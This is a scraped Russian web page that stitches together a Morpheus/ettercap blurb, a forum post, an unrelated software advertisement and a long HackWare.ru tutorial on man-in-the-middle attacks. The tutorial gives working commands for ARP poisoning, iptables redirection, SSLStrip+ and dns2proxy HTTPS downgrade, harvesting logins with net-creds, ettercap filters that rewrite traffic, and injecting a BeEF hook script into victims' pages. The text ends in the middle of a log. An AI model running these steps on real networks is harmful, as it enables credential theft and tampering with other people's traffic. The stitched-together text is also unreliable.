Ettercap что это
Перейти к содержимому

Ettercap что это

  • автор:

Morpheus — автоматизированный инструмент захвата ettercap TCP / IP

Morpheus - автоматизированный инструмент захвата ettercap TCP / IP

Автоматизированный инструмент захвата ettercap TCP / IP: Morpheus

Фреймворк morpheus автоматизирует задачи управления пакетами tcp/udp с помощью фильтров etter для манипулирования целевыми запросами/ответами при атаках MitM, заменяя содержимое пакета tcp/udp нашим содержимым, чтобы отправить пакет обратно на целевой хост.

Скачать Morpheus

  1. Атакующая сторона -> arp заражает локальную сеть (mitm);
  2. Цель -> запрашивает веб-страницу из сети (wan);
  3. Атакующая сторона -> изменяет ответ веб страницы (contents);
  4. Атакующая сторона -> измененный пакет отправляется обратно на целевой хост.

Morpheus поставляется с некоторыми предварительно сконфигурированными фильтрами, но пользователи смогут улучшать их во время запуска атаки (консоль сценариев morpheus). В конце атаки morpheus вернет фильтр обратно в состояние по умолчанию, это позволит пользователям улучшать фильтры во время работы, не опасаясь того, что во время возни с синтаксисом команды фильтра вы сможете повредить и испортить его. «Идеально подходит для фанатов написания сценариев, чтобы безопасно протестировать новые концепции».

MitM

Какие задачи мы сможем выполнять, используя фильтр?

Morpheus поставляется с набором фильтров, написанных мной для выполнения различных заданий:

  • Замена изображений на веб-страницах, замена текста на веб-страницах, загрузка полезных данных с использованием тега html,
  • Атаки отказа от обслуживания (denial-of-service) (сброс, удаление пакетов из источника), https / ssh downgrade attacks,
  • Перенаправление трафика из целевого браузера на другой домен и предоставление вам возможности создавать компилирование вашего фильтра с нуля и запуск его через morpheus фреймворк (опция W).

«фильтры могут быть расширены с помощью использования языков браузера, таких как: javascript, css, flash, etc»…

Ограничения фреймворка

  1. Morpheus не будет работать, если целевая система защищена от заражающих атак arp (arp poison attacks).
  2. Атаки не принесут никакого результата, если целевой браузер установлен только как приложение https.
  3. В целевой системе иногда должен быть почищен netcache, для успешного срабатывания заражающих атак arp (arp poison attacks).
  4. Многие атаки, описанные в morpheus, могут быть прерваны с помощью целевой системы обнаружения HSTS.

Morpheus по умолчанию будет запускать ettercap, используя IPv6 (USE_IPV6=ACTIVE), так как это предварительно было выставлено в файле настроек. Если вы получили такую ошибку, отредактируйте файл настроек перед запуском morpheus и выставьте (USE_IPV6=DISABLED), чтобы заставить ettercap использовать IPV4. По умолчанию morpheus (при запуске) заменит исходные файлы etter.conf / etter.dns, предоставленные ettercap, при выходе из фреймворка morpheus вернет файлы в исходное состояние.

Зависимости

Это интересно:

  • Лучшие хакерские программы
  • Подменна HTTPS на HTTP
  • Как украсть cookies (Wireshark + Parrot)

Перехватываем логин и пароль с помощью Wireshark + ettercap

Всем привет с вами User. И это моя первая статья.Не судите строго.

Ну ладно поехали

Ettercap — это приложение для анализа сетевого трафика, проходящего через интерфейс компьютера, но с дополнительной функциональностью. Утилита позволяет выполнять атаки типа «man in the middle», чтобы заставить другой компьютер передавать пакеты не маршрутизатору, а вам.

Wireshark — это достаточно известный инструмент для захвата и анализа сетевого трафика, фактически стандарт как для образования, так и для траблшутинга. Wireshark работает с подавляющим большинством известных протоколов, имеет понятный и логичный графический интерфейс на основе GTK+ и мощнейшую систему фильтров.

Атака «Man In The Middle» — вид атаки, когда злоумышленник перехватывает и подменяет сообщения, которыми обмениваются корреспонденты, причём ни один из последних не догадывается о его присутствии в канале.
Для начала нужно подключится к беспроводной сети. Затем запустим приложение ettercap. У него есть UI интерфейс.

Нам нужно определить какие ip устройств подключены к этой же сети, что и мы. Для этого заходим в раздел Sniff -> unified sniffing
В этом разделе нужно выбрать тип сети, которую мы хотим отследить. В нашем случаи это беспроводная сеть.
После отобразятся дополнительные опции. Далее выбираем раздел Hosts -> Scan for hosts. После завершения скана нужно зайти в раздел списка всех хостов, которые мы нашли в этапе сканирования, для этого входим в раздел Hosts -> Hosts list.
В этой опции мы выбираем:
1) ip адреса, которые мы хотим отслеживать
2) добавляем наблюдение за ними с помощью кнопки Add to Target 1 и Add to Target 2
Затем заходим в раздел Mitm -> ARP poisoning и отмечаем функцию sniff remote connections, ну и в конце концов нажимаем старт отслеживания, через кнопку Start.
Далее запускаем программу Wireshark.

Надеюсь обьяснил доходчиво

Подписывайтесь на группу ставьте лайки.Приглашайте сюда друзей

Solvusoft: Microsoft Silver Certified Company

Microsoft Award

Компания Solvusoft имеет репутацию лучшего в своем классе независимого поставщика программного обеспечения,

Microsoft признал Solvusoft в качестве ведущего независимого поставщика программного обеспечения, который достиг максимального уровня компетентности и совершенства в разработке ПО. Тесные отношения Solvusoft с Microsoft в качестве сертифицированного серебряного партнера позволяют нам предлагать лучшие программные решения в своем классе, оптимизированные для работы на устройствах с операционными системами Windows.

How is the Silver Competency Level Attained?

To achieve a Silver competency level, Solvusoft goes through extensive independent analysis that looks for, amongst other qualities, a high level of software expertise, a successful customer service track record, and top-tier customer value. As a Silver Certified Application Developer, Solvusoft is able to provide the highest level of customer satisfaction through delivering top-level software and service solutions, which have been subject to a rigorous and continually-audited approval process by Microsoft.

HackWare.ru

Этичный хакинг и тестирование на проникновение, информационная безопасность

Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету, использование пользовательских фильтров и плагинов, подцепление на BeEF, заражение бэкдорами

Оглавление

Как использовать Ettercap?

Инструкции по Ettercap уже имеются, в том числе и на русском языке. Мне, например, нравится этот видео мануал:

Больше примеров хороших инструкций я привести не могу. Но даже если на вышеприведённое видео посмотреть критически и осмыслить, что всё-таки мы там видели? Мы увидели, что Ettercap – это такая программа для сканирования хостов и ARP спуфинга… Какие-либо другие возможности Ettercap не раскрыты.

Цель данного раздела – собрать практические примеры использования Ettercap в различных сценариях. Показать реальные случаи использования Ettercap. Опять же, всеобъемлющей инструкции не получится, но попытаемся собрать как можно больше эффективных методик работы с Ettercap.

Кроме этой инструкции также можно дополнительно почитать про Ettercap:

  • Ettercap (перевод справки и мануала)
  • Ettercap_curses и Ettercap-pkexec (графические оболочки Ettercap)
  • Etterfilter (фильтры Ettercap для перехвата и модификации данных на лету)
  • ettercap-plugins (плагины Ettercap)
  • Etterlog
  • etter.conf (конфигурационный файл Ettercap)

Конечно же, рекомендуется глубже ознакомиться со всеми программами, упоминаемыми в этой инструкции:

Альтернативы Ettercap

Ettercap является самой популярной программой для атаки человек-посередине, но является ли она самой лучшей? На протяжении всей инструкции вы будете видеть, что Ettercap почти никогда не используется в одиночку, что всегда та или иная программа выстраивается с ней в цепочку по обработке трафика. Возможно, это добавляет гибкости, вообще, такой подход лежит в основе UNIX – одна программа выполняет одну задачу, а конечный пользователь комбинирует разнообразные программы для достижения желаемого результата. При таком подходе код программ легче поддерживать, из таких миниатюрных «кирпичиков» можно построить систему любой сложности и гибкости. Тем не менее, иметь пять открытых консолей с разными задачами, работа программ которых направлена для достижения одного единственного результата – это не очень удобно, это просто сложнее, есть вероятность допустить ошибку на каком-то этапе, и вся настроенная система отработает вхолостую.

Также Etterfilter (пользовательские фильтры данных Ettercap) за свои недостатки подвергаются критике.

В общем, на конкурентов Ettercap есть запрос и достойные конкуренты уже появились.

Например, MITMf. Это фреймворк, в котором встроен анализатор данных (перехватчик паролей), большое количество модулей, которые позволяют делать всё, что мы делаем в данной инструкции (и даже больше!) с помощью десятка программ, в одном единственном фреймворке, даже имеется улучшенный механизм по модификации данных на лету.

Ещё одна программа, которая создавалась в качестве улучшенного Ettercap – это Bettercap. Автор этого нового инструмента указывает на такие недостатки как нестабильность Ettercap на больших сетях, неудачная реализация механизма фильтров, отсутствие хорошего механизма визуализации данных и необходимость использовать множество программ в связке с Ettercap. Bettercap сделан чтобы победить все эти недостатки.

Т.е. конкуренты Ettercap однозначно заслуживают изучения и тестирования. Мы обязательно к ним вернёмся на страницах этого ресурса. Но начнём мы с классики – с Ettercap. Конкуренты Ettercap просто мало известны, и имеется большой спрос на изучение Ettercap. Это также полезно, чтобы понимать более детально атаку человек-посередине. Не поработав Ettercap, трудно оценить достоинства новых программ. Чтобы было почти как в том еврейском анекдоте:

Рабинович встречает Изю и говорит ему:

— Я купил туфли в два раза меньше размера моей ноги.

— Уже на туфлях экономишь? — спрашивает Изя.

— Да нет, — объясняет Рабинович, — просто, когда домой заходишь, там жена-истеричка, сын-наркоман, сосед-псих. Тогда я снимаю туфли… и так хорошо.

Мы переходим с Ettercap на MITMf «и так хорошо. ». Ладно, это я шучу, конечно. Давайте уже займёмся делом!

Да, ещё несколько замечаний:

  1. Из-за того, что Ettercap сбрасывает свои привилегии, то после окончания атаки программа уже не может возвратить вспять сделанные ей изменения. Также если вы делаете подряд те примеры, которые здесь описаны, то вам нужно сбрасывать роутинг трафика. Самый просто способ «обнулить» изменения – это перезагрузить компьютер цели и атакующий компьютер.
  2. Все команды я выполняю здесь от рута.
  3. Для реализации описанных здесь примеров вам нужно минимум два компьютера в локальной сети. Они могут быть подключены к роутеру как по Wi-Fi, так и по проводу. При определённой сноровке, в качестве второго компьютера можно использовать виртуальную машину в VirtualBox.

1. Запуск атаки человек-посередине, перехват паролей и пересылаемых данных

1.1 Ettercap + Net-Creds + driftnet

Давайте начнём с самой простой реализации атаки человек-посередине. Мы будем делать практически то же самое, что и в видео выше. Но для анализа полученных результатов мы воспользуемся программами Net-Creds и driftnet.

  • Посещённые URL
  • отправленные запросы POST
  • логины/пароли из форм HTTP
  • логины/пароли при базовой HTTP аутентификации
  • поиски HTTP
  • логины/пароли FTP
  • логины/пароли IRC
  • логины/пароли POP
  • логины/пароли IMAP
  • логины/пароли Telnet
  • логины/пароли SMTP
  • SNMP community string (общую строку)
  • все поддерживаемые протоколы NTLMv1/v2 вроде HTTP, SMB, LDAP и т.д.
  • Kerberos

Хорошая подборка перехватываемых, а driftnet в этом плане попроще – только показывает перехваченные изображения.

Переключите вашу машину в режим пересылки (форвардинга).

echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаем Ettercap с графическим интерфейсом (-G):

ettercap -G

01

В меню выбираем Sniff, далее Unified, выбираем желаемый интерфейс:

02

Теперь выбираем Hosts, в нём подпункт Scan for hosts. После окончания сканирования выберите Hosts list:

03

В качестве Цели1 выберите роутер (Add to Target 1), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2).

Но здесь может возникнуть первая заминка, особенно, если хостов много. В разных инструкциях, в том числе в видео представленном выше, авторы лезут в целевую машину (у всех, почему-то, там Windows) и с помощью команды смотрят IP данной машины в локальной сети. Согласитесь, такой вариант неприемлем для реальных условий.

Если провести сканирование с помощью Nmap, то можно получить некоторую дополнительную информацию о хостах, точнее говоря, о фирме производителе сетевой карты:

nmap -sn 192.168.1.0/24

04

Если данных всё равно недостаточно, то можно сделать сканирование с определением ОС:

nmap -O 192.168.1.0/24

06

Как видим, машина с IP 192.168.1.33 оказалась Windows, если это не знак свыше, тогда что это? �� LOL

Именно её мы и добавляем в качестве второй цели.

07

Теперь переходим к пункту меню Mitm. Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections.

08

Начинаем собирать урожай, в одном окне запускаем

net-creds

в другом (обе программы можно запускать без опций)

driftnet

Сразу же пошёл сбор данных:

10

В правой части driftnet открыло ещё одно окно, в котором показывает перехваченные изображения. В окне net-creds мы видим посещённые сайты и перехваченные пароли:

09

1.2 Ettercap + Burp Suite

Программа Burp Suite кроме других своих замечательных свойств, обладает очень хорошим прокси, который позволяет очень наглядно видеть совершаемый обмен трафиком, в том числе передаваемые данные.

У вас уже должен быть запущен Ettercap как показано в пункте 1.1

Теперь, когда сниффинг трафика начался, сделаем перенаправление трафика на порт 8080:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Теперь запускаем Burp:

burpsuite

Переходим во вкладку Proxy -> Options. Там в самом верху в Proxy Listeners нажимаем Add и добавляем новый прослушиватель: на 8080 порту. В качестве Specific Address выберите IP компьютера атакующего (т.е. той машины, где запущен Burp).

02

Здесь же перейдите во вкладку Request handling и поставьте галочку на Support invisible proxying (enable only if needed):

03

Когда добавите новый прослушиватель, поставьте галочку там, где Running (это будет означать, что он задействован в данное время):

61

Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку:

06

Теперь перейдите в Proxy -> Intercept, отключите его:

05

Теперь должен начаться анализ полученных данных.

11

Кстати, Burp, Net-Creds и driftnet не мешаются друг другу: вполне можете запускать их все вместе и следить за получаемыми результатами в любой из программ:

13

2. Обход HTTPS и HSTS

К большому сожалению всех, кто перехватывает данные, протокол HTTP (подразумевающей передачу данных в виде простого текста) очень активно сменяется протоколом HTTPS (подразумевающий передачу хорошо зашифрованных данных). Уже даже на многих маленьких сайтах активно внедряется HTTPS, если же говорить про коммерческую сферу и большие популярные сайты, а также социальные сети, то там HTTPS используется повсеместно. Также крупные сайты в последнее время активно внедряют HSTS, что ещё больше увеличивает проблемы атакующему.

Использование HTTPS не означает, что мы не можем перехватить трафик – мы можем это делать. Но поскольку трафик зашифрован, то для нас он имеет такую же ценность, как рандомный набор нулей и единиц (т.е. никакой).

Нам недоступны эффективные механизмы дешифрования этого трафика, поэтому мы будем применять атаку понижения протокола с HTTPS до HTTP, а также будем задействовать механизм частичного обхода HSTS.

2.1 Ettercap + SSLStrip+ + dns2proxy + Net-Creds

Нам нужна программа SSLStrip+. Обратите внимание на плюс в названии программы – даже если у вас в репозитории имеется SSLStrip, то нужно скачать новую версию, которая приводится здесь (старую удалять необязательно – она не мешается). Аналогично и с dns2proxy — скачайте её как сделано в этой инструкции.

Начните с запуска Ettercap и атаки человек посередине, как это показано в 1.1.

Настройте iptables для редиректа HTTP трафика:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 2000 iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

Скачиваем и запускаем SSLStrip+.

git clone https://github.com/singe/sslstrip2.git cd sslstrip2/ python2 ./sslstrip.py -l 2000

Скачиваем и запускаем dns2proxy:

git clone https://github.com/singe/dns2proxy.git cd dns2proxy/ python2 dns2proxy.py

Для анализа данных запускаем

net-creds

Начался перехват данных:

22

Вход в аккаунт Гугла происходит без шифрования переданных/полученных данных:

21

Поиск Гугла также лишился HTTPS:

23

24

На примере HackWare.ru посмотрите, что происходит с именами доменов (естественно, HTTPS больше нет):

25

26

27

2.2 Ettercap + SSLStrip+ + dns2proxy + Net-Creds + Burp

Если вам хочется анализировать данные с помощью Burp, но при этом использовать силу SSLStrip+ и dns2proxy, то это тоже можно сделать. Как обычно, начните с запуска Ettercap по пункту 1.1. Затем введите эти правила роутинга (мы отправляем трафик на прокси Burp):

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
python2 ./sslstrip.py -l 2000
python2 dns2proxy.py

Сам прокси Burp настройте, как это показано в пункте 1.2. Дополнительно во вкладке Request handling в поле Redirect to host впишите localhost, а в поле Redirect to port впишите 2000. Т.е. с прокси Burp мы переправляем трафик на SSLStrip+.

28

29

Правда при этом данные в Burp начинают отображаться следующим образом:

30

2.3 Ettercap + SSLsplit

Когда-нибудь этот раздел будет дописан, как и документация по SSLsplit.

3. Просмотр данных (посещённых сайтов и захваченных паролей) в Ettercap

В меню View нам доступны вкладки Connections и Profiles. Также можно поставить галочку на Resolve IP addresses (преобразовывать IP адреса). Connections – это, понятно, соединения. Ettercap собирает в памяти профили для каждого хоста, который он обнаружил. Там собираются пользователи и пароли. При этом профили с захваченными данными аккаунта (паролями), помечаются крестиком:

31

Не надо слишком сильно полагаться именно на профили – помечаются, например, перехваченные логины и пароли для FTP и для других сервисов, для которых полученную информацию программа однозначно может интерпретировать как учётные данные. Сюда не попадают, например, данные базовой аутентификации, введённые логины и пароли в веб-формы.

В Connections самые перспективные данные помечены звёздочкой:

33

Можно кликнуть два раза на эти записи для просмотра подробностей:

34

Чтобы не искать эти звёздочки по всем списку, можно сделать сортировку по этому полю и все они окажутся наверху или внизу:

35

Пойманная базовая аутентификация:

36

Логин-пароль для Яндекса (выделено внизу):

37

Это перехваченные учётные данные для Вконтакте:

38

Также самые интересные данные собираются в нижней консоли:

32

Если вы хотите сохранять результаты работы программы, то воспользуйтесь этими опциями (указывайте ключи при запуске Ettercap:

Опции ведения журналов: -w, --write записать перехваченные данные в pcapfile -L, --log записать весь трафик в этот -l, --log-info записать только пассивную информацию в этот -m, --log-msg записать все сообщения в этот -c, --compress использовать сжатие gzip для файлов логов

4. Подмена данных на лету в Ettercap

4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:

sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS=On ../ make sudo make install

В общем, если у вас фильтры не заработали – то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter. Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

jollypwn

В файл с именем img_replacer.filter скопируйте:

if (ip.proto == TCP && tcp.dst == 80) < if (search(DATA.data, "Accept-Encoding")) < replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная msg("zapped Accept-Encoding!\n"); >> if (ip.proto == TCP && tcp.src == 80) < replace("src="https://hackware.ru/,"src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); >
etterfilter img_replacer.filter -o img_replacer.ef
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file 'img_replacer.filter' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'img_replacer.ef' done. -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:

ettercap -G -F img_replacer.ef

Примечание: Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это «Accept-Encoding: gzip, deflate»

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:

if (ip.proto == TCP && tcp.dst == 80) < if (search(DATA.data, "gzip")) < replace("gzip", " "); # примечание: четыре пробела в заменяемой строке msg("whited out gzip\n"); >> if (ip.proto == TCP && tcp.dst == 80) < if (search(DATA.data, "deflate")) < replace("deflate", " "); # примечание: семь пробелов в заменяемой строке msg("whited out deflate\n"); >>

Синтаксис написания фильтров подробно описан здесь, а далее ещё несколько примеров:

# замена текста в пакете: if (ip.proto == TCP && search(DATA.data, «lol»)) < replace("lol", "smh"); msg("filter ran"); ># показать сообщение, если tcp портом является 22 if (ip.proto == TCP) < if (tcp.src == 22 || tcp.dst == 22) < msg("SSH packet\n"); >> # записать весь telnet трафик, также выполнить ./program на каждый пакет if (ip.proto == TCP) < if (tcp.src == 23 || tcp.dst == 23) < log(DATA.data, "./logfile.log"); exec("./program"); >> # записать весь трафик, кроме http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) < log(DATA.data, "./logfile.log"); ># некоторые операции с полезной нагрузкой пакетов if ( DATA.data + 20 == 0x4142 ) < DATA.data + 20 = 0x4243; >else < DATA.data = "modified"; DATA.data + 20 = 0x4445; ># отбросить все пакеты, содержащие «ettercap» if (search(DECODED.data, «ettercap»)) < msg("some one is talking about us. \n"); drop(); kill(); ># записать расшифрованные ssh пакеты, соответствующие регулярному выражению if (ip.proto == TCP) < if (tcp.src == 22 || tcp.dst == 22) < if (regex(DECODED.data, ".*login.*")) < log(DECODED.data, "./decrypted_log"); >> > # убийство пакетов if (ip.ttl < 5) < msg("The packet will die soon\n"); ># то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) < msg("The IPv6 packet will die soon\n"); ># сравнение строки на данный сдвиг if (DATA.data + 40 == «ette») < log(DATA.data, "./logfile"); ># вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, «root»)) < inject("./fake_response"); ># целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, «microsoft»)) < drop(); inject("./fake_telnet"); ># Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, «.*\x03com\x00.*»)) < log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); ># фильтровать только указанный IP адрес if (ip.src == ‘192.168.0.2’) < drop(); ># делать то же самое для IPv6 if (ipv6.src == ‘2001:db8::1’) < drop(); ># комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == ‘192.168.0.2’) < msg("drop IPv4"); drop(); >if (eth.proto == IP6 && ipv6.dst == ‘2001:db8::1’) < msg("drop IPv6"); drop(); ># транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) < tcp.dst -= 1; tcp.dst += 2; ># найти и покалечить пакеты ESP if (ip.proto == ESP)

4.2 Подмена данных с помощью Burp

Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила.

  • Request header – это заголовок запроса
  • Request body – тело запроса
  • Response header – заголовок ответа
  • Response body – тело ответа
  • Request param name – Имя параметра запроса
  • Request param value – Значение параметра запроса
  • Request first line – Первая строка запроса

Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует – этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю. )))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять

No Title

Поставьте галочку на Regex match.

42

Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

41

Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем

I am cool!

Поставьте галочку на Regex match.

43

В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст – что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым – всё зависит от вашей фантазии.

44

Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ – то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, здесь реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF

Чтобы начать использовать возможности BeEF, нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:

Следующие два метода различаются только методом внедрения этой строки.

5.1 Подцепление BeEF с помощью фильтров Ettercap

[раздел будет подготовлен позже]

5.2 Подцепление BeEF с помощью Burp

Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:

В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена

51

Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

52

Подробности вы найдёте в статье «Базовое использование BeEF».

6. Заражение бэкдорами

Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать BDFProxy. К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory: в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite. Пошаговый алгоритм представлен здесь, не имеет смысла ещё раз его переписывать в этот раздел.

7. Использование плагинов Ettercap

Информацию о плагинах Ettercap можно найти здесь. Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:

-P, —plugin запустить этот

Также плагины можно загрузить из графического интерфейса:

61

[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop

Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // [sudo] password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534. 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning. Scanning the whole netmask for 255 hosts. * |==================================================>| 100.00 % 3 hosts added to the hosts list. Starting Unified sniffing. Text only Interface activated. Hit 'h' for inline help Activating arp_cop plugin. arp_cop: plugin running. arp_cop: (new host) 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 